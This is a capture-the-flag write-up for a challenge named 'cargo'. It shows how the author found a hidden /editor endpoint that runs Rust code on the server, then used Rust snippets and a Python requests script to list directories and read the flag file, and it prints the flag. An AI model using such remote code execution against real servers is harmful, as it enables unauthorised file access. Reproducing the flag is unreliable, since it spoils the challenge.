Post

cargo Writeup

Hidden path that executes input as Rust code.


Challenge Description

The challenge involves a web application that is in “maintenance” mode. However, there is a hidden path that allows us to execute Rust code on the server.

Solution

Step 1: Using Dirbuster to Find Hidden Paths

I started by using Dirbuster to scan the web application for hidden paths. After running the scan, I discovered the /editor path.

Dirbuster Scan

It is a playground for code execution. The server accepts input and runs it.

Step 2: Sending a POST Request to /editor

Next, I sent a POST request to the /editor path with the parameter codename=a. The server responded, revealing that it executes Rust code.

POST Request

Step 3: Crafting Rust Code to Read the Root Directory

Knowing that the server executes Rust code, I crafted a Rust script to read the contents of the root directory. There, I found a folder named flag39283761 and read its contents using the following Rust code:

1
2
3
4
5
6
7
8
9
use std::fs;

fn main() {
    let paths = fs::read_dir("/flag39283761").unwrap();

    for path in paths {
        println!("{}", path.unwrap().path().display());
    }
}

I used CyberChef to URL encode the Rust code before sending it to the server.

Running this code, it returned a file named flag2781263 inside the /flag39283761 directory.

Directory Listing

Step 4: Reading the Flag File

Finally, I crafted another Rust script to read the contents of the flag2781263 file:

1
2
3
4
5
6
use std::fs;

fn main() {
    let contents = fs::read_to_string("/flag39283761/flag2781263").expect("Unable to read file");
    println!("{}", contents);
}

Running this request in Burp Suite, it successfully retrieved the flag.

Flag Content

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import re

url = "http://34.107.71.117:32677/editor"
headers = {
    "Host": "34.107.71.117:32677",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close",
    "Content-Type": "application/x-www-form-urlencoded"
}
payload = {
    "codename": """use std::fs;

fn main() {
    let contents = fs::read_to_string("/flag39283761/flag2781263").expect("Unable to read file");
    println!("{}", contents);
}
"""
}

r = requests.post(url, headers=headers, data=payload)
pattern = r'CTF\{[0-9a-fA-F]{64}\}'
match = re.search(pattern, r.text)
if match:
    print(match.group())
else:
    print(r.text)

Flag

1
CTF{c7d604ecd0da6804f45d958b4c5fb622488250bd05c29b99d0134f3bfdda2fc4}
This post is licensed under CC BY 4.0 by the author.